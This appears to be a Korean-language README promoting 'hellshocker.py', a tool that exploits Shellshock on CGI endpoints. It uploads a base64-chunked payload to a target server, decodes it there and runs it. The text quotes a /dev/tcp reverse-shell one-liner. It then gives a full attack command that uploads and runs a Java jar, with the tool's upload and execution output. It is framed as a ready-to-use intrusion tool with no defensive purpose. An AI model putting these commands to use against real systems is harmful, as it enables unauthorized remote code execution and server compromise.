
다양한 벡터를 이용한 업로드 및 RCE가 가능한 다재다능한 Shellshock 익스플로잇 스크립트
약한 쉘쇼크 익스플로잇을 사용하거나 단순히 "/bin/bash >& /dev/tcp/IP/port 0>&1" 로 서버에 침투하는 것에 지치셨나요?
네, 더 복잡한 무언가를 서버에 업로드하고 실행해야 하는데, 대용량 파일을 base64로 인코딩하면 웹 서버가 HTTP 요청을 수락하지 못할 수도 있습니다.
이 도구를 사용하면 문제가 해결될 수 있습니다. 페이로드를 base64로 인코딩하여 기본값 128바이트 크기의 청크로 웹 서버에 보낸 후, 전송이 완료되면 디코딩하여 실행할 수 있습니다.
"와우", 당신은 말합니다. "하지만 PHP가 없어요. Java용 무언가가 필요해요." 문제없습니다. 이 도구는 고도로 사용자 정의가 가능합니다.
다음 예를 보세요:
python hellshocker.py --cgi http://website.com/cgi-bin/vulnerable --payload "java.jar" --destination "/tmp/java.jar" --trigger "/usr/bin/java -jar /tmp/java.jar" --base64
[*] Splitting data into chunks ...
[+] Payload data has been encoded to base64 format.
[*] There is 19 chunks to be sent to remote server
[*] Starting payload upload ...
[*] Uploading chunk #1
[*] Uploading chunk #2
[*] Uploading chunk #3
[*] Uploading chunk #4
[*] Uploading chunk #5
[*] Uploading chunk #6
[*] Uploading chunk #7
[*] Uploading chunk #8
[*] Uploading chunk #9
[*] Uploading chunk #10
[*] Uploading chunk #11
[*] Uploading chunk #12
[*] Uploading chunk #13
[*] Uploading chunk #14
[*] Uploading chunk #15
[*] Uploading chunk #16
[*] Uploading chunk #17
[*] Uploading chunk #18
[*] Uploading chunk #19
[+] Upload procedure has been completed.
[*] Decoding base64-encoded payload on remote server ...
[+] Remote command for decoding has been sent successfully sent.
[*] Triggering payload to execute ...
[+] Trigger command for payload execution has been succesfully sent.
그러면 페이로드가 성공적으로 전송되고 실행됩니다. 멋지지 않나요? 네, 그렇습니다.